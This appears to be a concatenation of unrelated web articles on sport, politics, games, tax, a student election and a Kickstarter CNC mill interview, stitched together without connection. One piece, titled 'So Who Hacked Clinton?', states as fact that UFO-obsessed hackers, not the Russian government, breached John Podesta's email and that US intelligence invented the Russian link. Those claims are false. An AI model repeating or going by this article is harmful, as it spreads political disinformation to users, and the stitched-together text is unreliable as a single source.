-For five years since joining the club, all the France international goalkeeper has heard about is potential, and many believe it is now time for Mauricio Pochettino’s side to start delivering. Ultimately, they could not do that in the FA Cup semi-final on Saturday, losing 4-2 to Chelsea at Wembley. But the manner of the way they outplayed their opponents, only to suffer from a couple of clinical sucker-punches, at least shows Lloris that his team-mates are able to step up to the plate on the big occasion.  GETTY Hugo Lloris believes Tottenham can take heart from their performance against Chelsea  GETTY Lloris said Tottenham are on the right track to winning silverware  “Chelsea, they are used to winning trophies,” he said. “It’s a winning team. And maybe they have more experience than us. But we try to make a good balance. “It’s my fifth season for Tottenham. And I can see the team is enjoying to fight and to compete against the best teams. “On Saturday, we all took the responsibility together. You can win, you can lose, but the most important thing is to do it with your identity.  Twitter explodes as Chelsea beat Tottenham in FA Cup semi-final Sat, April 22, 2017 Express Sport brings you all the best tweets as Chelsea beat Tottenham in the FA Cup semi-final Play slideshow 1 of 8
-The anniversary of women's suffrage is bringing all sorts of enlightened opinions out of the woodwork. Including the US Chamber Of Commerce blogger whose solution to the pay gap is to tell women to "choose the right partner at home."  On the lobbying group's official blog, Brad Peck approvingly cites another writer, Don Boudreaux, who wrote, "Not only does achievement of such 'equality' require the state to treat people unequally, obsession with income equality also reflects a Scrooge-like fetish for money." Peck was so taken with the "fetish for money" phrase that he named his post after it. Boudreaux also wondered, "Why do so many 'Progressives' excuse – or even positively approve of – envy of other persons' monetary assets?" In other words, why are you so jealous of people getting paid more to do the same work?  He compares women's situation in the workplace to two men, one of whom chooses to go to work a lot and the other one of whom likes to spend all his time in the gym. Peck uses the example to suggest that businesses shouldn't be penalized just because women insist on popping out babies.  This would be the same US Chamber of Commerce whose resistance to climate change legislation was too extreme for several power companies, among others, and whose pro-business agenda has also extended to opposing health care reform and unionization.  Given all this, it will not shock you that they also opposed what would become the Lilly Ledbetter Fair Pay Act, which it said represented a potential wind-fall against employers by employees trying to dredge up stale pay claims." Via Firedoglake, we learn that they have a sterling record on women's rights:  * 1977: US Chamber opposes amendment to Civil Rights Act that would ban discrimination against pregnant women.  * 1978: US Chamber says pregnancy is a "voluntary" condition in its opposition to Pregnancy Discrimination Act.  * 1987: Family Medical Leave Act "sets a dangerous precedent," according to the US Chamber.  * 1998: US Chamber opposes Equal Pay Act because "work experience does tend to create greater wage gaps."  * 2007: US Chamber opposes Lilly Ledbetter's court case for equal pay because "tear-stained testimony" prejudices against a defendant. Opposed the bill in Congress to right the wrongs against Ledbetter in 2008 and 2009 as well.  * 2007: Chamber official pledges "all out war" against Family Medical Leave Act, and in 2010 made it a "priority" to fight in Congress.  * Monday: US Chamber again cites pregnancy as a "voluntary choice."  Advertisement  There are plenty of inconvenient facts about what causes the pay gap that have nothing to do with lazy ladies and their childbearing, but nevermind. This is how Peck dispenses with them:  It is true that culturally speaking women are more likely to have to make the tough choices about work-life balance. But as we all seek to fit our values into a dynamic 24/7 economy, let's not overlook the obvious, immediate, power-of-the-individual solution: choosing the right place to work and choosing the right partner at home.  Advertisement  I make an individual choice to tell Peck he's an idiot.  Equality, Suffrage, And A Fetish For Money [Chamber Post]  US Chamber: Equal Pay "a Fetish for Money," Women Should "Choose the Right Partner at Home" [Firedoglake]  Earlier: The New York Times Gets The Wage Gap Wrong  Does The Wage Gap Really Exist?  How Do We End The Wage Gap?  Advertisement  Image via iofoto/Shutterstock
-So Who Hacked Clinton? The Truth Could Be More Shocking Than You Expected  The U.S. Intelligence Community, led by the three most political actors in recent history, claims to have irrefutable “proof” that the Russian government was behind the hacking of Democratic Party computers and those affiliated with the Hillary Clinton presidential campaign. However, Central Intelligence Agency director John Brennan, Director of National Intelligence James Clapper, and National Security Agency director Admiral Mike Rogers provided not one iota of evidence that it was Russian state players who hacked into the computers of the Democrats or the personal email accounts of Hillary Clinton campaign manager John Podesta and other staffers.  Podesta has a long track record of interest in extraterrestrial visitations of our planet and unidentified flying objects (UFOs) and the files the U.S. government possesses on these subjects. Consequently, Podesta, who has served as White House chief of staff for Presidents Bill Clinton and Barack Obama, has drawn the interest of the most dedicated contingent among the computer hacker community: those who hope to discover the “mother lode” of secret files allegedly held by the U.S. government on alien visitations and UFOs.  Podesta, along with his brother, Washington DC super-lobbyist Tony Podesta, are at the center of the power structure of the United States. So, when a well-connected individual like John Podesta claims an interest in government files on aliens and UFOs, the UFO hacker community takes a keen note. Podesta is at the center of his own UFO “podesteria.” A “podesteria” in medieval Italy was an administrative division of Italian city-states lime Venice and Genoa.  Today, there is a “podesteria” in cyberspace that includes computer hackers and UFO investigators having varying degrees of expertise in discovering where the U.S. government is hiding its most critical secrets. It was this “podesteria” of hackers that penetrated the weak security of Podesta’s Google mail account and discovered, in addition to some intriguing email on the subject of extraterrestrials between Apollo 14 moon astronaut Dr. Edgar Mitchell and Podesta, other emails dealing with the 2016 election campaign.  The bottom line with the hacking of Podesta’s email and that of others in his email chain, which included Mrs. Clinton’s top advisers Huma Abedin and Jennifer Palmieri, is that Russia had nothing to do with it. The U.S. intelligence community, hungry to go back to the era of the Cold War and bloated U.S. intelligence budgets, is inventing Russian involvement in a desperate move to divert attention away from the corruption of the Clinton family and Hillary Clinton’s campaign.  Podesta is a magnet for the successors to WikiLeaks’ founder Julian Assange's old 1980s and 1990s “Cypherpunk” colleagues - young hackers who will do just about anything to expose what they see as a massive cover-up of the ET presence on Earth. The largest hacking of military computers in recent times was carried out by a young Scottish hacker named Gary McKinnon. Using the handle "Solo," McKinnon was charged with breaking into 97 U.S. military and NASA systems between February 2001 and March 2002. McKinnon said he was searching for files on the suppression of free energy systems (what astronaut Mitchell wanted to discuss with Podesta) and UFOs. Russia was not involved in the case with McKinnon then and it certainly is not involved in the issue regarding the hackers of Clinton’s campaign today.  The United States tried to have McKinnon extradited to the United States but in 2012, British Home Secretary Theresa May, now the prime minister, surprisingly vacated the extradition order. British criminal charges against McKinnon were suddenly dropped. Among those who supported McKinnon in resisting extradition to the United States were Boris Johnson, the present Foreign Secretary, and David Cameron, the former prime minister.  Earlier this year, Hillary Clinton attracted her own share of hacker attention when she told the Conway Daily Sun in New Hampshire that as president she would "get to the bottom" of the UFO cover-up. That served as another magnet for the global hacker community.  And Bill Clinton has done his best to draw the interest of UFO hacker groups. In a 2005 speech in Hong Kong, Bill Clinton told the audience, "I did attempt to find out if there were any secret government documents that reveal things, and if there were, they were concealed from me, too. I wouldn’t be the first president that underlings have lied to or that career bureaucrats have waited out. But there may be some career person sitting around somewhere hiding these dark secrets, even from elected presidents. But, if so, they successfully eluded me, and I’m almost embarrassed to tell you I did try to find out.”  Asked by the New Hampshire newspaper what her husband meant, Mrs. Clinton replied, "I think we may have been [visited already]. We don’t know for sure.” In 2014, Bill Clinton told television host Jimmy Kimmel: "If we were visited [by aliens] someday, I wouldn’t be surprised. I just hope that it’s not like [the movie] “Independence Day,” that it’s a conflict.”  The CIA, NSA, and DNI know fully well that the UFO hacker community is very adept at ferreting out the private emails of those who they believe possess knowledge about their favorite subject. John Podesta also knows this. In 1998, when Podesta served as President Clinton’s chief of staff, 72 of 215Freedom of Information Act (FOIA) requeststo NSAwere for UFOfiles. In addition, 15 percent of all FOIA requests to the CIA in 1998 were for UFO-related documents. After he left the White House, Podesta actually championed the cause of UFO researchers who wanted full disclosure of government UFO files pursuant to the FOIA!  What part of the UFO research community gets through legal channels, often with disappointing results as a result of heavily-redacted declassified pages, another part achieves through computer hacking. In September of this year, two North Carolina men who were part of a hacker group called “Crackas With Attitude”were indicted for hacking into the Verizon personal email accounts of CIA director Brennan and DNI director Clapper. Three other members of the hacker group lived in Britain. A text message sent by one of the indicted North Carolina men reads: “I've been looking for evidence of aliens since Gary.” The reference was to Gary McKinnon, the British UFO hacker. While looking for references to aliens in Brennan’s emails, one of the hackers claimed he stumbled upon information that showed the CIA had engaged in torture: “I f***ing own this loser [meaning Brennan], I have just released emails of them admitting to torture.”  This is a prime example of how UFO hackers, while looking for information on their favorite subject, stumbled across extraneous information that was, nevertheless, of interest. And this is exactly how the hackers who penetrated Podesta’s and the other Democrats’ email stumbled across other email of interest, in this case email of interest to Julian Assange and WikiLeaks and the Donald Trump campaign. Again, there is not one scrap of evidence of Russian government involvement.  The corporate media is trying to lay blame for the hacking of Podesta's and other Clinton campaign officials' email on Russian President Vladimir Putin. That is because the Democrats do not want to be embarrassed by admitting that the real culprits are hackers who want to know more about Podesta's knowledge of the "little gray aliens." It is the fault of Podesta and Mr. and Mrs. Clinton that they have attracted, with their talk about aliens, every computer hacker and script kiddie on the planet hungry for any morsel held in government and private computers about ET.  Just when most people believed the 2016 presidential election could not become any stranger, it has taken a nose dive into the “Twilight Zone.” As far as this writer’s knowledge of hackers, it was my job to monitor hacker operations throughout the 1980s and 1990s for the NSA, Department of State, National Institute of Standards and Technology (NIST), and U.S. Navy. It was clear then, as it is evident today, that computer hacking blamed on nefarious “state-supported” hackers was almost always the result of a teenager connected to a modem from his or her parents’ basement.
-RT breaking the latest Podesta emails before WikiLeaks sparked accusations of collusion with the whistleblowing organization. Actually, no conspiracies were involved – just good journalism.  Having discovered over 1,800 emails date-stamped October 13 on the WikiLeaks site, RT sprung into action.  Wikileaks followed shortly after by tweeting that #PodestaEmails6 were now available.  Despite the documents being public when discovered by RT, accusations soon began that it was proof that Russia and WikiLeaks are somehow working together. Christopher Miller, a journalist for the US government-backed Radio Free Europe/Radio Liberty, set the wheels of suspicion in motion.  Earlier today, @RT_com tweeted & pubbed a story on fresh @wikileaks Podesta emails dump before WL posted them to the site & tweeted a link. pic.twitter.com/nHb0GIq4Am — Christopher Miller (@ChristopherJM) October 13, 2016  Hillary Clinton’s Press Secretary Brian Fallon then followed suit, tweeting that the work by RT journalists was part of a conspiracy “in service of Trump”.  More evidence of Russian collusion with @Wikileaks in service of Trumphttps://t.co/P2nXQIMKBS — Brian Fallon (@brianefallon) October 13, 2016  WikiLeaks even stepped in to clarify that the emails were available, just not tweeted, and that RT had not acquired them in any other way.  @ChristopherJM@RT_com No they didn't. The release was visible to anyone looking at https://t.co/wzxeh7hZLU well before our first tweet. — WikiLeaks (@wikileaks) October 13, 2016  Brian Fallon was contacted by an RT journalist. We offered to explain to him how the team broke the news. He has not responded.  READ MORE: ‘Clintons won't forget what their friends have done’: WikiLeaks release #PodestaEmails6
-Greek police searched the offices of the Golden Dawn party on Wednesday after an anti-racism rapper was stabbed to death by a man who sympathized with the far-right group.  The killing touched a nerve in Greece, where an economic crisis has worsened social tensions, and rallies in several cities to mark the death turned violent.  A 45-year-old man was arrested and admitted to the killing, police said. Greece's citizen protection minister said the suspect was a Golden Dawn sympathizer.  Pavlos Fissas, 35, who went by the stage name Killah P, was stabbed twice in the heart and chest on Tuesday night in a brawl after a soccer match shown in a cafe in Keratsini, a working-class suburb of Athens.  (Read more: Euro zone's 'north-south divide' to widen further)  Police said the offices of a political party were searched for evidence linking it to the attack, but stopped short of naming Golden Dawn. They later arrested a Golden Dawn official for a weapons offence after finding a police-style night-stick in the party's offices in Piraeus.  More than 5,000 people rallied in Athens on the spot where Fissas was stabbed. Police fired teargas at protesters who hurled stones and petrol bombs at a police station and set garbage containers on fire, Reuters witnesses said.  "The government of (Prime Minister Antonis) Samaras is the instigator by allowing murderous Golden Dawners to roam around unpunished and armed with knives," said KEERFA, the United Movement Against Racism and the Fascist Threat.  "It's time to punish the neo-Nazi murderers of Golden Dawn and to throw the Samaras government - a miserable gang of bankers, the troika (of international lenders) and neo-Nazis - into the trash."  The leader of the right-wing Independent Greeks party, Panos Kamenos, who visited the scene of the crime to pay his respects was attacked and lightly injured by a group of protesters.  Clashes between police and demonstrators were reported in two other Greek cities, Patras and Thessaloniki.  Criminal  The killing of Fissas has revived calls to ban Golden Dawn, Greece's third most popular party according to recent opinion polls, which denies constant accusations of involvement in a wave of attacks on immigrants and leftists.  With an emblem resembling a swastika, the party rose from obscurity to enter parliament last year. Its leaders have denied the Holocaust and defended Greece's 1967-1974 military junta.  Golden Dawn is a "criminal organization" that should be declared illegal, the co-ruling Socialist PASOK party said.  The far-right party has condemned the killing and denied accusations by "wretched sycophants" of any involvement.  "(The accusers) are miserable and wretched not only because of their brazen lies and slander but because they are exploiting a tragic event for politicking, to win votes and to divide Greek society," Golden Dawn said in a statement.  The government plans to sharpen the law defining what a criminal organization is, said Citizen Protection Minister Nikos Dendias.  "The abominable murder in Keratsini by an attacker sympathizing with Golden Dawn, according to his own statement, illustrates, in the clearest way, the intentions of neo-Nazism," Dendias said.
-With the Seattle Seahawks season over, Seattle can turn their attention towards the 2017 season. The Seahawks offensive line was abysmal, and every Seattle fan and their mother are praying that the unit improves next season. The Seahawks line did not look as bad in the playoffs, albeit a small sample size, as it did in the regular season, however. The group created some huge holes for Thomas Rawls at times. The pass protection, however, has never surpassed underwhelming. It is time to find a core player for the Seahawks to build off of up front through the draft, and here are some of their top options.  1. OT Cam Robinson, Alabama  Scroll to continue with content Ad  Regarded by most as the top offensive line prospect in the country, Robinson would be a dream selection if Seattle could get their hands on him. Astonishingly quick for his build, Robinson owns all the talents of a potential day one starter in the National Football League. Standing six-foot-six, 310 pounds, the three-year Alabama starter controls the point of attack and shows outstanding technique in pass-protection, two of the major factors the Seahawks offensive line is missing. Multiple mock drafts have him actually falling back to Seattle at the 26thpick, but as we get closer to the draft his stock seems to still be on the rise.  2. OG Dan Feeney, Indiana  Story continues  A four-year starter at Indiana, Feeney’s experience is certainly no concern. Measuring six-foot-four, 305 pounds, the guard brings excellent quickness for his build and a physicality coaches at the N.F.L. level want to see. Effective against pass rush, but he will have to adjust to N.F.L. quarterbacks hanging onto the ball longer. Feeney is certainly a viable replacement for Mark Glowinski. If Feeney was selected Germain Ifedi would probably see reps at left guard, allowing Feeney to fill in the right guard position. Unfortunately, he does have an injury background that includes a history of concussions, so a thorough medical examination is likely necessary.  3. OG/OT Forrest Lamp, Western Kentucky  Lamp could be the potential perfect fit for what Seattle wants to do up front. Often regarded as one of the top guard prospects in the draft, Lamp has spent his last two college seasons at tackle. With Tom Cable’s history of plug-and-play offensive lineman, he may be exactly what Cable is looking for. At six-foot-four, 300 pounds, Lamp is built like a wall and brings one of the best pass protection techniques in the country. A combination of aggressiveness and ability to stay lower than the defender has been the focal point of the young blockers excellence. Certainly a mid-first-rounder or later, Lamp could end up in the Emerald City.  4. OT Ryan Ramczyk, Wisconsin  Ramczyk is thought of by some draft experts as their top lineman in the 2017 Draft, but experience remains his biggest negative. From a Division III player at UW-Stevens Point, to All-American offensive tackle at Wisconsin, Ramczyk has a long way to go still to be N.F.L. ready. Ramczyk redshirted in 2015 after transferring, and 2016 was his only Division I experience. However, this seems to be his only weakness. Showing exceptional balance, agility and power at the point of attack, it looks like he has been playing a high level much longer than a single season. Great technique in pass protection shows his knack for the art of blocking is surely there, and it will likely require the N.F.L. preseason to truly gauge how effective Ramczyk will be early on in his career. It is worth noting, though, he underwent hip surgery just three days after Wisconsin’s 24-16 victory over Western Michigan in the Cotton Bowl. It remains to be seen how this will affect him in the long-run  5. OG Dorian Johnson, Pittsburgh  Another prospect that could move around the line if needed, Johnson played left tackle, right guard and left guard while at Pitt. To put it simply, this guy is a near must-have if your Seattle’s coaching staff. Standing six-foot-five inches and weighing 315 pounds, he is one of the most N.F.L.-ready offensive lineman to enter the draft in a long while. Little-to-none of that weight is excess, as Johnson is relatively lean and downright ripped. Throw exceptional technique and patience and Johnson may be the perfect blocker. He has shown great ability as a pulling guard, which is another huge need for the Seahawks up front. Johnson has potential as a day one starter and Seattle has a golden opportunity to select him later than they probably should be able to.  AROUND COVER32  Confidence Rankings: Which of the final four teams do we trust the most?  Draft:: Five players to watch from the East/West Shrine Game  Playoff Pickems:: Who will be playing on Super Bowl Sunday?  6. OT/OG Zach Banner, USC  Any player that can move about the offensive line is immediately much more attractive to a Seattle franchise looking for any help they can get. Banner is a six-foot-eight, 360-pound giant of a human. Obviously, with all that weight, he must clog up holes instead of make them right? Wrong. Banner shows elite movement for his size and a coachable technique. Another great point-of-attack blocker, his biggest negative is he has been known to make mental mistakes and can often lose his balance in pass protection. This, of course, has hindered his productivity at times. However, as stated before, his ability to possibly move inside makes him an intriguing option, especially to Seattle’s needs.  7. OT Dion Dawkins, Temple  A player who will have a lot of work to do prior to his first season in the N.F.L., Dawkins could be very good with the correct coaching. This comes as result of him being able to slack off on technique due to his refrigerator-like frame. At six-foot-five, 320 pounds, he is among the heaviest blockers in this year’s draft. He consistently won at the point of attack and exceptional power is among his greatest strengths. Not quite a day one starter, he is lower on this list than he is on most peoples, as Seattle is in desperate need of a foundation. However, Dawkins might have one of the biggest upsides among lineman in the draft.  8. OT Garrett Bolles, Utah  Arm length may be the deciding factor in keeping Bolles from being drafted but he has enough other positives to allow him to be intriguing. Coming from a rough-around-the-edges background, the 24-year old still has plenty of potential at the professional level. Another power player, Bolles maintains balance and agility that keeps him effective on the outside as a tackle. Often lackadaisical on the basics, though, some coaching will be needed to fix some bad habits. Not necessarily a day one starter, but Bolles has a definite shot at developing into a legit top player.  9. OG Nico Siragusa, San Diego State  Earning two all-Mountain West first team selections and a third-team AP All-American selection at SDSU, Siragusa certainly could play either guard position at the pro-level. This would be a perk especially for Seattle as they would probably enjoy leaving Germain Ifedi where he is and just replace Glowinski. At six-foot-five and 300 pounds, he is another typical mammoth-like blocker who has elite power. Luckily, power prospects are exactly what the Seahawks need, and this draft is filled with them. Great at blocking for the run, Siragusa was among the SDSU front that opened holes for one of the NCAA’s most prolific rushers, Donnel Pumphrey.  10. OT Adam Bisnowaty, Pittsburgh  A conventional offensive tackle, Bisnowaty possesses all the necessary attributes to be successful in the N.F.L. Being much more agile and quick than he looks, he also owns very long arms and a great body structure. Able to contain pass rushers and defeat run-stuffing defenders, Bisnowaty has almost everything you want in a rookie, with some remaining coachables. His balance is one obvious issue, but that can be improved and made a non-issue with the correct training. He does have an injury background, so his medical evaluation as we near the draft must be watched very closely.  The post Top 10 Offensive Lineman Seattle Seahawks Could Draft appeared first on Cover32.
-Excluding the revenant elite specialization, the release of Shiro Tagachi marks the end of the core legend reveals. With the previous three fulfilling distinct roles of defence, support and conditions it was inevitable that a damage orientated legend was needed. As will be revealed in an official blog post later today, Shiro will be a dark and sinister legend who focuses on slashing attacks and mobility. Best of all, revenant’s will be able to dual-wield swords to match Shiro’s iconic blades.  In his blog post, Roy Cronacher details that the principal behind Shiro is pure destruction with the sword skills providing a mixture of rapid attacks that match the assassin theme of this famous Guild Wars legend. There are three skills detailed by Roy:  1. Unrelenting Assault unleashes a fierce attack on nearby foes, allowing the revenant to shadowstep to enemies in the vicinity to deliver strikes. The revenant will also gain might each time they strike a foe. If you’re wondering, this is the skill that Rytlock uses in the infamous trailer for Heart of Thorns.  2. Precision Strike attacks nearby foes, sending out blades that damage and chill them.  3. Rift Slash attacks foes and creats a rift on them that explodes for additional damage after a short period of time. Any foes struck by Rift Slash are affected and this skill in particular is the third in the auto attack chain.  As well as the above weapon skills, there are a couple that have been teased. As seen in the image below, Enchanted Daggers is your heal skill and strikes your target as you attack, siphoning health from damaged foes. The jagged daggers float and follow the revenant and will attack as you do.  Alongside Enchanted Daggers, Jade Wind allows the revenant - similarly to Shiro in Guild Wars - to turn foes into jade for a short period of time. When downed, you’ll also be able to select a trait that triggers the release the Jade Wind. There’s no word on how long players are turned into jade for or if it will break when they receive damage (similarly to Moa) but it certainly sounds a great skill.  Finally, Phase Traversal allows the revenant to travel through the Mists to a target and make several unblockable attacks.  Shiro Stance  Although we don’t know exactly how powerful Shiro will be in comparison to the other legends, I think it’s fair to say that the profession is likely to receive a significant jump in their damage output. Dual-wielding swords always looks incredible and it sounds as though the design team have put significant thought into making Shiro a mobile and deadly legend that’s capable of dealing significant damage but also getting out alive.  If you want to see the new revenant legend in action, you can watch it this Friday when Roy Cronacher joins host Rubi Bayer on Points of Interest at 12 p.m. PDT on the official Guild Wars 2 Twitch channel (http://www.twitch.tv/guildwars2). In addition, if you want to play the revenant and all the core legends during one of the upcoming beta events you can pre-purchase Heart of Thorns over on the official website.
-Party: Powerhouse  Vice president: Vidha Dixit  Describes campaign as: Experience. Dedication. Service.  Why are you running for president? It is one of the best ways for us to give back to the University that has provided us with such an incredible college experience.  Why are you qualified for the position? We have the most experience in SGA and truly understand how to effectively complete all of our campaign objectives. Through running the legislative branch as Speaker of the Senate, serving on university committees and in leadership in several student organizations, we have the leadership experience both inside SGA and outside to have what it takes to tackle the challenges ahead of us and to best serve the UH student body.  If elected, what is your end goal? Our goal is service. When we are elected, we are chosen to advocate for the student body, serve others, and make progress, not to just be warm bodies. We want to look back and know that we sacrificed all we could to make service to our fellow students our first priority.
-Share. Will be introduced sometime after July 1, 2015. Will be introduced sometime after July 1, 2015.  The Australian Federal Government confirmed today that it will introduce the “Netflix Tax,” meaning Australian consumers will have to shell out an extra 10 percent for goods purchased from digital services like Netflix, Google, Steam and Amazon.  Treasurer Joe Hockey revealed during a press conference today that the 10 percent Goods and Services Tax (GST) will be charged to all digital products and services bought online, such as games, movies and books. Australians currently don’t pay GST on physical online purchases under AU$1,000, and Hockey said that won't change after the adjustment.  "What we’re doing is going to digital providers overseas and saying ‘can you apply the GST to the products you provide into Australia?’," Hockey said according to IT News. "They are agreeable to it. It’s not their profits [being taxed]. It’s a tax collected and they remit it back to the country where that occurs."  Exit Theatre Mode  The extra tax charged by the online companies will be given back to the Government. Hockey believes once the GST expands to encompass digital services sometime after July 1, it will raise $350 million over four years. Full details will be revealed when the Federal Budget hits 7:30 p.m. AEST Tuesday, May 12.  Netflix US has previously stated that it will add the GST to its service when the federal government passes it. The redrafting of the Tax Act won’t change the price of iTunes downloads as Australian consumers already pay GST on purchases from Apple's online store.  Jenna Pitcher is a freelance journalist writing for IGN. You can follow her on Twitter.
-It may still stink, but ingest a couple of these 24K capsules, and your shit will look as handsome as a pile of gold. Tobias Wong and J.A.R.K. (Ju$t Another Rich Kid) created the Gold Pills as part of their INDULGENCE line, and as a bit of swallowable commentary on society's obsession with wealth and consumption. Just down one of the gold leaf-filled tubes (preferably with a shot of espresso and a couple prunes) and transform your insides into a rich and luminous palace of major systems and organs, all churning in perfect synchronicity towards a singular goal: making your shit sparkle.  If you're wondering what to do with the golden shit post-defecation, unfortunately the answer is still, "Flush it." I guess you could try to use it to buy things--for example, Beanie Babies and Facebook stock, which some have suggested are currently worth shit--but Wong and J.A.R.K. make no mention of whether or not that will work. Rather I think the message here is that anyone who can afford to spend $425 on a few pills filled with 24K shards of gold, and goes ahead and does it, isn't just the type of person who pisses away money, but the type who shits it away too.  Muchas danke to Incredible Things.
-Recently I had a chance to catch up with Robert Grzesek, one of the founders of Carbide and also of the easy to use MeshCam CAM software. I wanted to get an update on the Nomad as well as some idea of what he’d learned from the whole Kickstarter process and manufacturing the Nomad. For those who haven’t seen it, Nomad is a very cool vision for a CNC Mill that was a very successful Kickstarter campaign recently. Be sure to check out our article on Nomad (that link just before this line) for more detail. They raised a total of $513,665 against a goal of $30,000, so this campaign definitely knocked the ball right out of the park.  Here’s what I learned from my interview of Robert:  Carbide had a phenomenally successfully Kickstarter campaign for your Nomad CNC Mill. What advice do you have for would be Kickstarters about how to maximize their success?  I think you can distill it down into a few categories: product, preparation, and follow through.  Product:  First, we picked a product who’s time had come. I knew from my work on MeshCAM, and my partners knew from our product development work, that there was a need for a ready-to-run CNC machine that doesn’t have the massive learning curve of traditional machines.  We spent something like 10 months working on the Nomad before launching our campaign. It was not an idea or a concept, it was an almost-ready-to-make product. I think a lot of people go wrong by showing a product too early so it requires the potential backers to make a greater leap to understand what the product will end up being.  By putting the work in up-front, we were also able to commit to a much earlier shipping time than “normal” Kickstarter campaigns that might ask you to wait a year before you’ll see your product. This was very important given the amount of money we were asking people to spend.  One of the other huge benefits though was my partner Apollo, who is an industrial designer. He was able to take the work that the engineers did and make it look like something that people wanted to buy. We knew design would be significant but, based on customer feedback, it turned out to be way more important than we expected.  Preparation:  There are lots of writeups out there for what you need to know to launch a Kickstarter campaign and Jorge, my other partner, read every one and made sure we did everything right.  1) If you meet something like 30% of your goal in the first 24 hours then you have an 80% chance of getting funded. (Don’t quote me on the numbers but it’s something like that) We presold 10 machines to local people before we ever went live (those 10 were for people who wanted machines- not our friends or moms). The pitch was, give us your phone number and we’ll call when we push the “launch” button. You’ll have limited time to jump on and get a machine incredibly cheap. In the end, every one bought even though a couple missed the window to get the cheap machine. Every Kickstarter campaign should be doing this.  2) Have a press list ready to go with all of the “need to haves” and all of your “want to haves” listed out with names, emails, and examples of things they’ve written about before. We approached a couple of them the day before launch to try and a story or post on day one. This was WAY harder than we thought. Traditional PR, where you write a release and then blast it out, is a complete waste of time from what we can tell. The only stories we got were from Jorge or I emailing people on a more personal level. The good news is that if you get a few stories or posts, then others will pickup and write their own. We got Engadget with no contact from us after a story on another site.  3) Watch the videos from a other projects like yours and copy the good ones. It’s amazing how many people have videos with no call to action, they just end. What are viewers supposed to do next? Others have horrible production value or look like they’re trying to make the video “all about them”, not the product or the potential backer. Finally, style the video to fit in to the Kickstarter ecosystem. Our video would be very different if we made what we wanted, but we decided to copy the types of shots and music that others use. People reacted very well to it so I think there’s a lot of merit to this.  Follow-through:  We spent the next 30 days answering every email, message, or comment. When we weren’t doing that, we were reaching out to new press contacts to try to get links. Managing a campaign if a full-time job for at least one person if you’re doing well. There were days with all three of us working on it.  What did you learn during the course of the Kickstarter campaign that helped you refine your product vision and what would you do differently for your next Kickstarter?  Kickstarter is amazing. There is a huge group of people out there monitoring Kickstarter looking for cool projects and I have no doubt that those additional backers more than covered all of the Kickstarter fees. Also, just being on Kickstarter seemed to make the project more legitimate in the eyes of the people we talked to. I do not think backers would have been as enthusiastic to preorder from our webpage instead of Kickstarter.  We also got great support from our Kickstarter contact, who did his best to get us featured because he really believed in the product. We have nothing but positive things to say about them.  What would we do differently next time? I’d be more open in the leadup to the campaign and make more of an attempt to build an email list. We did well without that but I think having more potential customers to contact at launch would be better.  I’d also make more of an attempt to reach out to press before launch. Knowing how hard it is to get coverage from even a tiny blog, I’d start earlier and have a bigger list.  In terms of how it changed the vision, our Kickstarter campaign was more successful than we ever anticipated and we attracted an even more diverse set of users than we expected. Because a lot of our backers had no CNC experience, we saw that they had really high expectations. We did not want to let them down under any circumstances after the trust they were putting into us. We ended up upgrading the machine a lot (at no additional cost). We built a good machine from the start but the one we’re shipping blows it away; I think it’s safe to say that no machine is our price range has anywhere near the capabilities or quality.  How do you best describe the vision for Nomad and Carbide today?  Everyone we talked to has an idea in their head for something they’d like to make. We’d like to provide to software and hardware to get it from their heads, into 3D.  How are things going as you move towards shipping the first Nomad units to your Kickstarter supporters?  The machine upgrades where a huge delay because we ended up having to redo almost every part of the machine in some way. We’re just getting all of the parts from our machine shop and starting to put the first couple of machines together now. They’re looking really nice so far.  Here’s Jorge putting the first production frame together:  Jorge assembling the first production Nomad frame at Carbide LLC’s shop…  What have you learned about manufacturing that you’d pass along to others who want to make and sell products like Nomad? Any shortcuts? Things to avoid? Things that will help make the process a lot easier?  -If I could go back, I’d look for ways to make parts on a waterjet or a laser. The idea of dropping a sheet of stock on a machine and having enough for a batch of machines in an hour is really appealing.  -When your parts are running in a mill, watch them run at least one time. We kept getting delays until I had the shop foreman let me watch our parts run. The operator had slowed the machine down because “the drill bit was dull” and the owner was out of town. He turned a couple of minute job into a 20 minute job. There were lots of delays like this because the owner was stretched too thin and the operators would do random things. We’ve got that under control now.  -When it comes to milling, modern 5 axis machines are great. We did a bunch of simplifications where we combined three 3-axis parts into a single 5-axis part and the results are great. For us, the total cost is about equal but we get a much better finished product and less labor.  -Don’t send a PDF if the shop can take a Solidworks file. Way less goes wrong when they work from a solid.  -After a few months, I turned over the whole CAD file to them because they wanted to understand how the parts went together. This was a big turning point for us- they felt more ownership of the project and they even found a couple of errors in the design. If you can get to this point quicker than we did, you will benefit.  Robert, last time we talked you were planning to get a brand new Haas VMC and bring it in-house. Did you get the VMC? Any thoughts for new buyers of a machine like that?  I have that Haas quote on my desk right now- a VF2-SS with a 4th axis. We can’t wait. We’re trying to find new shop space with enough power but the areas we’d like to work in have really limited inventory. It looks like we’ll make an offer on a new place this week, and if they accept the lease terms, the Haas will be ordered.  It’s worth noting that the Haas will be a second production line and for R&D. We’d like to keep the current machine shop running so that we’re not dependent on any single location.  Robert, what do people do who want a Nomad but missed out on the Kickstarter? Are you thinking about transitioning to taking new orders yet?  We just put our heads down and worked for about a week after Kickstarter and then we started getting requests from people who wanted to preorder a machine but missed the Kickstarter deadline. Coincidentally, we happened to be approached by a company called Celery that does nothing but handle preorders post-Kickstarter. It turned out to be a good system so we put a preorder link on our website and it’s been active since. We received a significant number of orders through that system so it’s something that I’d recommend to anyone after a Kickstarter campaign.  Nomad for yourself, go to Of course, if you’d like to get afor yourself, go to http://carbide3d.com to preorder.  Here’s Apollo running a Nomad at their offices from the pre-Kickstarter days…  Thanks Robert for the great interview!  Postscript  I continue to think the Nomad is a great idea because it brings Apple’s Vertical Integration ideas to the entry level CNC space by combining hardware, software, and key accessories like tool probe in one well-designed packages. I’m hoping to get to play with one myself at some point. Robert has also given some great advice for folks who are dreaming of their own Kickstarter projects. It’s rare that you can benefit from the insights of someone who has been as successful on Kickstarter.
